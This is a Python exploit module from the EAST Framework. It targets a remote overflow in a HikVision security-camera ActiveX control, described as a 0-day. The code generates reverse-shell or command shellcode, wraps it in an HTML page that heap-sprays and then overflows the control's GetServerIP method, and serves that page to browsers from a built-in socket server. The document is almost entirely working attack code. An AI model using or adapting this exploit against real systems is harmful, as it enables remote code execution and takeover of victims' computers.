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#!/usr/bin/env python # The exploit is a part of EAST Framework - use only under the license agreement specified in LICENSE.txt in your EAST Framework distribution # visit eastfw.comeastexploits.com for more info import sys import re import os import socket import random import string from struct import pack sys.path.append("./core") from Sploit import Sploit sys.path.append("./shellcodes") from Shellcodes import OSShellcodes INFO={} INFO['NAME']="efa_HikVision_Security_Systems_activex" INFO['DESCRIPTION']="HikVision Security Systems activex Remote Overflow" INFO['VENDOR']="http://www.hikvision.com/us/Tools_84.html" INFO["CVE Name"]="0-day" INFO["NOTES"]=""" Exploit-db.cominformation: # Exploit Title: HikVision Security Systems ActiveX exploit designed for EAST framework # Google Dork:none # Date: 19 October 2016 # Exploit Author: EAST framework development team. Yuriy Gurkin # Vendor Homepage: http://www.hikvision.com/us # Software Link: http://www.hikvision.com/us/Tools_84.htmlclient software # Version: v2.5.0.5 # Tested on: Windows XP, 7 # CVE : 0day General information: Loaded File: C:\temp\WEBCAM~1\HIKVIS~1\NETVID~1.OCX Name:NETVIDEOACTIVEX23Lib Lib GUID:{99F388E9-F788-41D5-A103-8F4961539F88} Version: 1.0 Lib Classes: 1 Class NetVideoActiveX23 GUID: {CAFCF48D-8E34-4490-8154-026191D73924} Number of Interfaces: 1 Default Interface: _DNetVideoActiveX23 RegKey Safe for Script: True RegkeySafe for Init: True KillBitSet: False """ INFO['CHANGELOG']="13 Jan, 2016. Written by Gleg team." INFO['PATH'] = "Exploits/" PROPERTY = {} PROPERTY['DESCRIPTION'] = "ActiveX 0-day" PROPERTY['MODULE_TYPE'] = "Scada" # Must be in every module, to be set by framework OPTIONS = {} OPTIONS["CONNECTBACK_PORT"] = "8089" class exploit(Sploit): def __init__(self, port=8089, logger=None): Sploit.__init__(self,logger=logger) self.port = port self.state = "running" return def args(self): self.args = Sploit.args(self, OPTIONS) self.port = int(self.args.get('CONNECTBACK_PORT', self.port)) return def create_shellcode(self): self.CONNECTBACK_IP = socket.gethostbyname(socket.gethostname()) if self.args['listener']: shellcode_type = 'reverse' port = int(self.args['listener']['PORT']) else: port = 9999 shellcode_type = 'command' self.CONNECTBACK_PORT = port os_system = os_target = 'WINDOWS' os_arch = '32bit' s = OSShellcodes(os_target, os_arch, self.CONNECTBACK_IP, self.CONNECTBACK_PORT) s.TIMESTAMP = 'codesys' shellcode = s.create_shellcode( shellcode_type, encode=0, debug=1 ) return shellcode def make_data(self, shellcode): filedata=""" <html> <object classid='clsid:CAFCF48D-8E34-4490-8154-026191D73924' id='target' ></object> <script type='text/javascript' language="javascript"> ar=new Array(); function spray(buffer) { var hope = unescape('%u9090%u9090'); var unbuffer = unescape(buffer); var v= 20 + unbuffer.length; while(hope.length<v) hope += hope; var fk = hope.substring(0, v); var bk = hope.substring(0, hope.length- v ); delete v; delete hope; while(bk.length+v<0x40000) { bk=bk+bk+fk; } for(i=0;i<3500;i++) { ar[i] = bk + unbuffer; } } spray(<SHELLCODE>); buffer = ""; for (i = 0; i < 555; i++) buffer += unescape('%u9090%u9090'); target.GetServerIP (buffer); </script> </html> """ if len(shellcode)%2: shellcode="\x90"+shellcode shell="unescape(\"" i = 0 while i < len(shellcode): shell += "%u"+"%02X%02X" %(ord(shellcode[i+1]),ord(shellcode[i])) i += 2 shell += "\")" filedata = filedata.replace("<SHELLCODE>", shell) return filedata def run(self): self.args() self.log("Generating shellcode") shellcode = self.create_shellcode() if not shellcode: self.log("Something goes wrong") return 0 self.log("Generate Evil HTML") html = self.make_data(shellcode) self.log("Done") self.log("Starting web server") ip_server = "0.0.0.0" crlf = "\r\n" response = "HTTP/1.1 200 OK" + crlf response += "Content-Type: text/html" + crlf response += "Connection: close" + crlf response += "Server: Apache" + crlf response += "Content-Length: " + str(len(html)) response += crlf + crlf + html + crlf s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server = (ip_server, 8089) s.bind(server) s.listen(1) while True: try: connection, client_address = s.accept() data = connection.recv(2048) self.log("Got request, sending payload") connection.send(response) self.log("exploit send") connection.close() except: print("EXCEPT") self.log('All done') self.finish(True) return 1 if __name__ == '__main__': """ By now we only have the tool mode for exploit.. Later we would have standalone mode also. """ print "Running exploit %s .. " % INFO['NAME'] e = exploit("192.168.0.1",80) e.run() |
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